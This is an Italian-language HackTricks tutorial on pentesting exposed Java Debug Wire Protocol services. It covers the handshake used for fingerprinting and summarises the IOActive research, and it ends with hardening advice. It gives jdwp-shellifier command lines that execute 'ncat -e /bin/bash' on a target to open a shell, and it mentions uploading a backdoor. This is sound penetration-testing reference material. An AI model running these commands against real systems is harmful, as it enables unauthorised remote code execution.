hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

7.8 KiB

Pentesting JDWP - Java Debug Wire Protocol

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Sfruttamento

Lo sfruttamento di JDWP si basa sulla mancanza di autenticazione e crittografia del protocollo. Si trova generalmente sulla porta 8000, ma sono possibili altre porte. La connessione iniziale viene effettuata inviando un "JDWP-Handshake" alla porta di destinazione. Se un servizio JDWP è attivo, risponde con la stessa stringa, confermando la sua presenza. Questo handshake funge da metodo di fingerprinting per identificare i servizi JDWP sulla rete.

In termini di identificazione del processo, cercare la stringa "jdwk" nei processi Java può indicare una sessione JDWP attiva.

Lo strumento principale è jdwp-shellifier. Puoi usarlo con diversi parametri:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

Ho scoperto che l'uso di --break-on 'java.lang.String.indexOf' rende l'exploit più stabile. E se hai la possibilità di caricare un backdoor sull'host ed eseguirlo invece di eseguire un comando, l'exploit sarà ancora più stabile.

Maggiori dettagli

Questo è un riassunto di https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Controllalo per ulteriori dettagli.

  1. Panoramica di JDWP:
  • È un protocollo binario di rete basato su pacchetti, principalmente sincrono.
  • Manca di autenticazione e crittografia, rendendolo vulnerabile quando esposto a reti ostili.
  1. Handshake JDWP:
  • Viene utilizzato un semplice processo di handshake per avviare la comunicazione. Una stringa ASCII di 14 caratteri “JDWP-Handshake” viene scambiata tra il Debugger (client) e il Debuggee (server).
  1. Comunicazione JDWP:
  • I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet.
  • I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi.
  1. Sfruttamento:
  • JDWP consente di caricare e invocare classi e bytecode arbitrari, ponendo rischi per la sicurezza.
  • L'articolo dettaglia un processo di sfruttamento in cinque passaggi, che coinvolgono il recupero dei riferimenti Java Runtime, l'impostazione di breakpoint e l'invocazione di metodi.
  1. Sfruttamento nella vita reale:
  • Nonostante le potenziali protezioni del firewall, i servizi JDWP sono scopribili e sfruttabili in scenari reali, come dimostrato da ricerche su piattaforme come ShodanHQ e GitHub.
  • Lo script di exploit è stato testato contro varie versioni di JDK ed è indipendente dalla piattaforma, offrendo un'affidabile Esecuzione Remota di Codice (RCE).
  1. Implicazioni per la sicurezza:
  • La presenza di servizi JDWP aperti su Internet sottolinea la necessità di revisioni di sicurezza regolari, disabilitando le funzionalità di debug in produzione e configurazioni adeguate del firewall.

Riferimenti:

Setup immediatamente disponibile per la valutazione delle vulnerabilità e il pentesting. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Impara e pratica il Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}